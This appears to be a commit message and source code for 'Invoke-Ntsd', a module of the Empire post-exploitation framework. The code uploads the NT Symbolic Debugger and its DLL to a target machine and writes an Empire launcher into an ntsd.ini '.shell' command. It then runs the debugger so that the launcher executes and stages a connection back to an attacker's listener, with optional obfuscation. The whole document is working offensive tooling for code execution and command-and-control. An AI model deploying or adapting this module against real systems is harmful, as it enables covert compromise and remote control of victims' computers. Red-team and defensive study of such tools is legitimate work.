pushing module for ntsd code exec
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08c3e292dc
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999970e96a
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Function Write-Ini([string]$path, [string]$launcher)
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{
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# -Encoding ASCII is needed otherwise it will write in unicode
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# this will cause ntsd to not execute our code
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".shell" | Out-File -Encoding ASCII "$path\ntsd.ini"
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"$launcher" | Out-File -Encoding ASCII "$path\ntsd.ini" -Append
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}
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from lib.common import helpers
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import base64
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-Ntsd',
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'Author': ['james fitts'],
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'Description': ("Use NT Symbolic Debugger to execute Empire launcher code"),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [""]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'UploadPath' : {
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'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
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'Required' : False,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'BinPath' : {
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'Description' : 'Binary to set NTSD to debug.',
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'Required' : True,
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'Value' : "C:\\Windows\\System32\\calc.exe"
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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listenerName = self.options['Listener']['Value']
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uploadPath = self.options['UploadPath']['Value'].strip()
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bin = self.options['BinPath']['Value']
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ntsd_exe_upload_path = uploadPath + "\\" + "ntsd.exe"
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ntsd_dll_upload_path = uploadPath + "\\" + "ntsdexts.dll"
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# staging options
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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ntsd_exe = self.mainMenu.installPath + "data/module_source/code_execution/ntsd.exe"
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ntsd_dll = self.mainMenu.installPath + "data/module_source/code_execution/ntsdexts.dll"
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "data/module_source/code_execution/Invoke-Ntsd.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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scriptEnd = ""
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: %s" %(listenerName))
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return ''
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else:
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l = self.mainMenu.stagers.stagers['multi/launcher']
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l.options['Listener']['Value'] = self.options['Listener']['Value']
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l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
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l.options['Proxy']['Value'] = self.options['Proxy']['Value']
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l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
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launcher = l.generate()
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if launcher == '':
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print helpers.color('[!] Error in launcher generation.')
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return ''
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else:
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launcherCode = launcher.split(' ')[-1]
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with open(ntsd_exe, 'rb') as bin_data:
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ntsd_exe_data = bin_data.read()
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with open(ntsd_dll, 'rb') as bin_data:
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ntsd_dll_data = bin_data.read()
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exec_write = "Write-Ini %s \"%s\"" % (uploadPath, launcher)
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code_exec = "%s\\ntsd.exe -cf %s\\ntsd.ini %s" % (uploadPath, uploadPath, bin)
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ntsd_exe_upload = self.mainMenu.stagers.generate_upload(ntsd_exe_data, ntsd_exe_upload_path)
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ntsd_dll_upload = self.mainMenu.stagers.generate_upload(ntsd_dll_data, ntsd_dll_upload_path)
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script += "\r\n"
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script += ntsd_exe_upload
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script += ntsd_dll_upload
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script += "\r\n"
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script += exec_write
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script += "\r\n"
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# this is to make sure everything was uploaded properly
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script += "Start-Sleep -s 5"
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script += "\r\n"
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script += code_exec
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return script
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